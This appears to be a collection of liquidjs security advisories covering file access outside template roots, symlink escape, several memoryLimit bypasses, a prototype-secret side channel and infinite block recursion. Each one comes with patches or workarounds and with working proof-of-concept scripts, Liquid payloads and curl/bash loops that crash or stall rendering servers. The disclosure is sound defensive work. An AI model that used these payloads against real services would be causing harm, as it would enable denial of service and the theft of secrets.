See how liquidjs compares to other vendors in security performance
Impact The layout, render, and include tags allow arbitrary file access via absolute paths (either as string literals or through Liquid variables when dynamicPartials: true is enabled). This poses a security risk when malicious users are allowed to control the template content or specify the filepath to be included as a Liquid variable.
Patches The issue is fixed via #855 and published version 10.25.0 on npm.
Workarounds Change the files in build time In build time, through Shell script or Webpack string-replace-loader, change the file content of correxponding file (depending on your package type, for CommonJS it's dist/liquid.node.js) under dist/,
diff if (fs.fallback !== undefined) { const filepath = fs.fallback(file) - if (filepath !== undefined) yield filepath + if (filepath !== undefined) { + for (const dir of dirs) { + if (!enforceRoot || this.contains(dir, filepath)) { + yield filepath + break + } + } } }
Overriding by fs LiquidJS option Adding a fs option to override the default fs implementation:
javascript const { statSync, readFileSync, promises: { stat, readFile } } = require('fs') const { resolve, extname, dirname, sep } = require('path')
const fs = { exists: async (fp) => { try { await stat(fp); return true; } catch { return false } }, existsSync: (fp) => { try { statSync(fp); return true } catch { return false } }, resolve: (root, file, ext) => resolve(root, file + (extname(file) ? '' : ext)), contains: (root, file) => { const r = resolve(root) return file.startsWith(r.endsWith(sep) ? r : r + sep) }, readFile: (fp) => readFile(fp, 'utf8'), readFileSync: (fp) => readFileSync(fp, 'utf8'), fallback: () => undefined, dirname, sep };
const engine = new Liquid({ fs })
References Discussions: https://github.com/harttle/liquidjs/pull/851 Code fix: https://github.com/harttle/liquidjs/pull/855
Summary
LiquidJS enforces partial and layout root restrictions using the resolved pathname string, but it does not resolve the canonical filesystem path before opening the file. A symlink placed inside an allowed partials or layouts directory can therefore point to a file outside that directory and still be loaded.
Details
For {% include %}, {% render %}, and {% layout %}, LiquidJS checks whether the candidate path is inside the configured partials or layouts roots before reading it. That check is path-based, not realpath-based.
Because of that, a file like partials/link.liquid passes the directory containment check as long as its pathname is under the allowed root. If link.liquid is actually a symlink to a file outside the allowed root, the filesystem follows the symlink when the file is opened and LiquidJS renders the external target.
So the restriction is applied to the path string that was requested, not to the file that is actually read.
This matters in environments where an attacker can place templates or otherwise influence files under a trusted template root, including uploaded themes, extracted archives, mounted content, or repository-controlled template trees.
PoC
js const { Liquid } = require('liquidjs'); const fs = require('fs');
fs.rmSync('/tmp/liquid-root', { recursive: true, force: true }); fs.mkdirSync('/tmp/liquid-root', { recursive: true });
fs.writeFileSync('/tmp/secret-outside.liquid', 'SECRETOUTSIDE'); fs.symlinkSync('/tmp/secret-outside.liquid', '/tmp/liquid-root/link.liquid');
const engine = new Liquid({ root: ['/tmp/liquid-root'] });
engine.parseAndRender('{% render "link.liquid" %}') .then(console.log); // SECRETOUTSIDE
Impact
If an attacker can place or influence symlinks under a trusted partials or layouts directory, they can make LiquidJS read and render files outside the intended template root. In practice this can expose arbitrary readable files reachable through symlink targets.
pop filter bypasses memoryLimit accounting that its array-filter siblings enforce
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling) — sibling class of GHSA-8xx9-69p8-7jp3 and GHSA-2546-xv4c-mc8g, applied to memoryLimit instead of renderLimit
Summary
The pop array filter at src/filters/array.ts:91-95 allocates a full clone of its input array via [...toArray(v)] but does not call this.context.memoryLimit.use(...) the way every other array-clone filter in the same file does (shift, unshift, compact, concat, reverse, sample, slice, map, sortBy, where, groupby, uniq). This silently disables the memoryLimit budget for {{ hugearray | pop }}, letting a template render allocate an O(N) clone of an attacker-influenced array regardless of how strictly memoryLimit is set.
Affected
- liquidjs ≥ all versions that ship the current pop filter implementation (verified 10.27.0, HEAD a8fd734b5) - Deployments where any template uses {{ arr | pop }} on an array whose length is influenced by untrusted input (typical multi-tenant context arrays: orders, log lines, catalog entries, user lists, etc.)
Vulnerability details
Code
src/filters/array.ts:91-95:
ts export function pop<T> (v: T[]): T[] { const clone = [...toArray(v)] // O(N) allocation — not charged to memoryLimit clone.pop() return clone }
Note: the function signature does not even declare this: FilterImpl, so it has no typed access to this.context.memoryLimit at the type level — a visual tell that the author skipped the limit-accounting boilerplate the surrounding filters use.
Compare with shift (src/filters/array.ts:97-103), which is functionally identical except for the array-end operated on:
ts export function shift<T> (this: FilterImpl, v: T[]): T[] { const array = toArray(v) this.context.memoryLimit.use(array.length) // ← guard present const clone = [...array] clone.shift() return clone }
And unshift, compact, concat, reverse, sample, slice, map, sortBy, where, groupby, uniq — all of which also charge memoryLimit.use(array.length) (or lhs.length + rhs.length etc.) before allocating their working buffer.
The asymmetry confirms pop is an accidental omission, not by design.
Why the bypass matters
memoryLimit is the documented control for bounding the memory a single render() call may allocate (docs/source/tutorials/dos.md). Every array-output filter in src/filters/array.ts other than pop deducts its working set from the limit, so a render that does {{ huge | shift }} with memoryLimit: 100 and huge.length === 5000000 correctly throws memory alloc limit exceeded. The identical {{ huge | pop }} does not throw — the allocation proceeds, and the only ceiling is the Node process's heap.
Proof of concept
js const { Liquid } = require('liquidjs');
const l = new Liquid({ memoryLimit: 100 }); // 100-unit budget const huge = Array(5000000).fill('x'); // 5M-element context array
(async () => { try { await l.parseAndRender('{{ a | shift | size }}', { a: huge }); } catch (e) { console.log('shift: ' + e.message); } // expected: memory alloc limit exceeded
try { await l.parseAndRender('{{ a | unshift: 0 | size }}', { a: huge }); } catch (e) { console.log('unshift: ' + e.message); } // expected: memory alloc limit exceeded
const out = await l.parseAndRender('{{ a | pop | size }}', { a: huge }); console.log('pop: OK, size=' + out); // size=4999999 — allocation succeeded })();
Observed (against dist/liquid.node.js at a8fd734b5):
shift: memory alloc limit exceeded, line:1, col:1 unshift: memory alloc limit exceeded, line:1, col:1 pop: OK, size=4999999
Impact
- memoryLimit does not bound pop allocations. Any template that can reach {{ <untrusted-sized array> | pop }} allocates an O(N) clone outside the budget. - Realistic attack surface: when a server passes an attacker-influenced large array to the template context (search results, paginated lists, batch-export pages) and the template uses | pop anywhere on it, a single render can allocate hundreds of MB of array slots that the operator believed memoryLimit had ruled out. - Concurrent amplification: N parallel requests each allocate their own unguarded clone — the practical ceiling is the Node process heap, after which the host runs oom-kill. This is the same outcome the renderLimit-empty-body advisories (GHSA-8xx9-69p8-7jp3 / GHSA-2546-xv4c-mc8g) prevented for CPU; this report prevents it for memory.
Severity is configuration-dependent (requires memoryLimit to be set, plus a template that uses pop, plus attacker-influenced array length). For deployments that rely on memoryLimit as a DoS guard, this is a real bypass of that guard.
Workaround for users
Until a fix lands, deployments relying on memoryLimit should either:
- Avoid | pop in templates whose inputs include untrusted-length arrays. Use | slice: 0, arr.size | minus: 1 or equivalent guarded alternatives. - Register a wrapping pop filter that does the accounting:
js liquid.registerFilter('pop', function (v) { const arr = Array.from(v ?? []); this.context.memoryLimit.use(arr.length); arr.pop(); return arr; });
Suggested fix
One-line addition mirroring shift:
ts export function pop<T> (this: FilterImpl, v: T[]): T[] { const array = toArray(v) this.context.memoryLimit.use(array.length) // ← add this line, and add this: FilterImpl const clone = [...array] clone.pop() return clone }
No API or behavior change for callers within budget; rejects out-of-budget calls with the standard memory alloc limit exceeded exception the sibling filters already throw.
Summary
LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.
Details When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).
The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.
typescript // src/render/expression.ts:67-72 function evalRangeToken (token: RangeToken, ctx: Context) { const low: number = yield evalToken(token.lhs, ctx) const high: number = yield evalToken(token.rhs, ctx) ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999) return range(+low, +high + 1) }
// src/util/limiter.ts:11-14 use (count: number) { count = +count || 0 assert(this.base + count <= this.limit, this.message) this.base += count // base becomes negative }
Escalation to Process Crash via Cons-String Flattening
V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.
However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:
- Cannot be caught by JavaScript try-catch or process.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP) - Crashes the entire service, not just the attacking connection
The complete attack chain: 1. Insert 5 reverse ranges {% for x in (100000000..1) %}{% endfor %} → memory budget becomes -500M 2. Build a 134MB cons-string via 27 iterations of {% assign s = s | append: s %} → negligible actual memory 3. Apply {% assign flat = s | replace: 'A', 'B' %} → V8 attempts to flatten → Fatal error → process crash
The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.
PoC - LiquidJS <= 10.24.x with memoryLimit option enabled - Attacker can control Liquid template source code
Save the following as pocmemorylimitbypass.js and run with node pocmemorylimitbypass.js:
javascript const { Liquid } = require('liquidjs');
(async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Baseline: memoryLimit blocks large allocation console.log('=== Step 1: Baseline (should fail) ==='); try { const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(baseline); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Blocked:', e.message); // "memory alloc limit exceeded" }
// Step 2 — Bypass: reverse ranges drive counter negative console.log('\n=== Step 2: Bypass (should succeed) ==='); try { const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(bypass); console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit } catch (e) { console.log('Error:', e.message); }
// Step 3 — Process crash: cons-string flattening via replace console.log('\n=== Step 3: Process crash (node process will terminate) ==='); console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.'); try { const crash = [ ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'), "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}", "{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}" ].join(''); const result = await engine.parseAndRender(crash); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable } })();
Expected output:
=== Step 1: Baseline (should fail) === Blocked: memory alloc limit exceeded, line:1, col:43
=== Step 2: Bypass (should succeed) === Result: 134217728
=== Step 3: Process crash (node process will terminate) === If the process exits here with code 133/SIGTRAP, the crash is confirmed. Fatal error in , line 0 Fatal JavaScript invalid size error 134217729
The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.
HTTP Reproduction (for applications that accept user templates)
If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):
bash Step 1 — Baseline: should return "memory alloc limit exceeded" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
Step 2 — Bypass: should return "134217728" (134MB allocated despite 100MB limit) curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
Step 3 — Process crash: connection drops, server process terminates curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'
Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.
Impact An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:
- Complete bypass of the memoryLimit security mechanism: The explicitly configured memory limit becomes ineffective. - Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception. - Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover. - False sense of security: Administrators who configured memoryLimit believe their service is protected when it is not. - Container restart policy does not mitigate: Even with Docker restart: always or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.
Summary The replacefirst filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.
Details The replacefirst filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $ (insert the portion before the match).
The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.
An attacker can build a 1MB string (within memoryLimit budget), then use replacefirst with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.
By chaining this technique across multiple variable assignments, exponential amplification is achieved:
| Stage | Input Size | $& Repetitions | Output Size | Cumulative memoryLimit Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |
Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).
Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replacelast filter uses manual substring operations and is also safe. Only replacefirst is affected.
typescript // src/builtin/filters/string.ts:130-133 — VULNERABLE export function replacefirst (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // Only charges input return str.replace(stringify(arg1), arg2) // $& expansion uncharged! }
// src/builtin/filters/string.ts:125-129 — SAFE (for comparison) export function replace (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal }
PoC Prerequisites: - npm install liquidjs@10.24.0 - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)
Save the following as pocreplacefirstamplification.js and run with node pocreplacefirstamplification.js:
javascript const { Liquid } = require('liquidjs');
(async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Verify $& expansion in replacefirst console.log('=== Step 1: $& expansion in replacefirst ==='); const step1 = '{{ "HELLO" | replacefirst: "HELLO", "$&-$&-$&" }}'; console.log('Result:', await engine.parseAndRender(step1)); // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string
// Step 2 — Verify replace (split/join) is safe console.log('\n=== Step 2: replace is safe ==='); const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}'; console.log('Result:', await engine.parseAndRender(step2)); // Output: "$&$&$&" — $& treated as literal
// Step 3 — 5-stage exponential amplification (50x per stage) console.log('\n=== Step 3: Exponential amplification (625,000:1) ==='); const amp50 = '$&'.repeat(50); const step3 = [ '{% assign s = "A" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{{ s | size }}' ].join('');
const startMem = process.memoryUsage().heapUsed; const result = await engine.parseAndRender(step3); const endMem = process.memoryUsage().heapUsed;
console.log('Output string size:', result.trim(), 'bytes'); // "312500000" console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB'); console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)'); console.log('memoryLimit charged: < 7 MB (only input lengths counted)'); })();
Expected output:
=== Step 1: $& expansion in replacefirst === Result: HELLO-HELLO-HELLO
=== Step 2: replace is safe === Result: $&$&$&
=== Step 3: Exponential amplification (625,000:1) === Output string size: 312500000 bytes Heap increase: ~625.0 MB Amplification: ~625,000:1 (1 byte input → 312.5 MB output) memoryLimit charged: < 7 MB (only input lengths counted)
The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.
Demonstrated Denial of Service (concurrent attack)
After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.
Raw Liquid template payload sent by attacker: liquid {% assign s = "A" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {{ s }}
$& is a JavaScript String.prototype.replace() backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). {{ s }} forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.
bash #!/bin/bash DoS demonstration: 20 concurrent attacks + legitimate user latency measurement
DOLLAR='$&' REP50=$(printf "${DOLLAR}%.0s" {1..50}) PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{{ s }}"
echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="
20 DoS attack requests (per-request timing) for i in $(seq 1 20); do ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=$PAYLOAD" t2=$(date +%s%3N) echo "DoS[$i]: $(( t2 - t1 ))ms" ) & done
Legitimate user requests at 0s, 3s, 6s ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[0s]: $(( t2 - t1 ))ms" ) &
( sleep 3 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[3s]: $(( t2 - t1 ))ms" ) &
( sleep 6 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[6s]: $(( t2 - t1 ))ms" ) &
wait echo "=== Done ==="
Empirical results (Node.js v20.20.1, LiquidJS 10.24.0): Normal[0s]: 13047ms ← request sent concurrently with attack — 13s delay Normal[3s]: 10124ms ← still blocked 3 seconds later — 10s delay Normal[6s]: 7186ms ← still blocked 6 seconds later — 7s delay DoS[1]: 14729ms DoS[2-20]: 17747ms ~ 25353ms
With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.
HTTP Reproduction (for applications that accept user templates)
bash $& expansion — should return "HELLO-HELLO-HELLO" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \"HELLO\" | replacefirst: \"HELLO\", \"$&-$&-$&\" }}"}'
replace is safe — should return literal "$&$&$&" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'
5-stage 50x amplification — produces ~312.5MB response curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}' bash 20 concurrent DoS attack requests for i in $(seq 1 20); do curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' & done
Legitimate user request (concurrent) curl -w "Normal: %{timetotal}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'template=<h1>Hello</h1>' &
wait
Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.
Impact - memoryLimit security bypass: The memory limit is rendered ineffective for templates using replacefirst with $& patterns. - Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled. - Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):
| Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked | |---------------------------|------------------------|-------------|---------------| | 10 | 3.2s | 640x | ~11s | | 20 | 10.9s | 2,180x | ~29s |
With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.
Summary
The sortnatural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.
Details
In src/filters/array.ts, the sortnatural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:
typescript export function sortnatural<T> (this: FilterImpl, input: T[], property?: string) { const propertyString = stringify(property) const compare = property === undefined ? caseInsensitiveCompare : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString]) const array = toArray(input) this.context.memoryLimit.use(array.length) return [...array].sort(compare) }
In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:
typescript export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) { if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined return obj[key] }
The sortnatural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.
PoC
javascript const { Liquid } = require('liquidjs');
async function main() { const engine = new Liquid({ ownPropertyOnly: true });
// Object with prototype-inherited secret function UserModel() {} UserModel.prototype.apiKey = 'sk-1234-secret-token';
const target = new UserModel(); target.name = 'target';
const probea = { name: 'probea', apiKey: 'aaa' }; const probez = { name: 'probez', apiKey: 'zzz' };
// Direct access: correctly blocked by ownPropertyOnly const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] }); console.log('Direct access:', JSON.stringify(r1)); // "" (blocked)
// map filter: correctly blocked const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] }); console.log('Map filter:', JSON.stringify(r2)); // "" (blocked)
// sortnatural: BYPASSES ownPropertyOnly const r3 = await engine.parseAndRender( '{% assign sorted = users | sortnatural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}', { users: [probez, target, probea] } ); console.log('sortnatural order:', r3); // Output: "probea,target,probez," // If apiKey were blocked: original order "probez,target,probea," // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz) }
main();
Result: Direct access: "" Map filter: "" sortnatural order: probea,target,probez,
The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.
Impact
Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sortnatural or sort filters, bypassing the security control that is supposed to prevent prototype property access.
Summary
A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
Details
In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.
Relevant code (src/tags/block.ts, getBlockRender method):
typescript private getBlockRender (ctx: Context) { const { liquid, templates } = this const renderChild = ctx.getRegister('blocks')[this.block] const renderCurrent = function (superBlock: BlockDrop, emitter: Emitter) { ctx.push({ block: superBlock }) yield liquid.renderer.renderTemplates(templates, ctx, emitter) ctx.pop() } return renderChild ? (superBlock: BlockDrop, emitter: Emitter) => renderChild( new BlockDrop( (emitter: Emitter) => renderCurrent(superBlock, emitter) ), emitter) : renderCurrent }
When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.
PoC
1. Create a layout file (layout.html):
liquid <header>{% block a %}default-a{% endblock %}</header> <main>{% block b %}default-b{% endblock %}</main> <footer>{% block c %}default-c{% endblock %}</footer>
2. Create a template that uses the layout:
liquid {% layout "layout" %} {% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %} {% block b %}content-b{% endblock %} {% block c %}content-c{% endblock %}
3. Render:
javascript const { Liquid } = require('liquidjs') const liquid = new Liquid({ root: './', extname: '.html' }) liquid.renderFile('template').then(console.log) // Result: process hangs, memory grows to ~4GB, then crashes with OOM
The anonymous block variant also triggers the same issue:
liquid {% layout "parent" %} {%block%}A{%block%}B{%endblock%}{%endblock%}
Impact
Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.
